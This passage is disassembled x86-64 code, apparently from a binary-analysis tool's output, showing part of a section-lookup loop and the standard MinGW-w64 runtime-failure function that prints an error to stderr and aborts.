add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8ba5c5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8ba5a0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8ba5d8
jmp 0x6d8ba5be
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8ba5e6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8ba5be
test r9d, r9d
jg 0x6d8ba5d0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8ba950
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop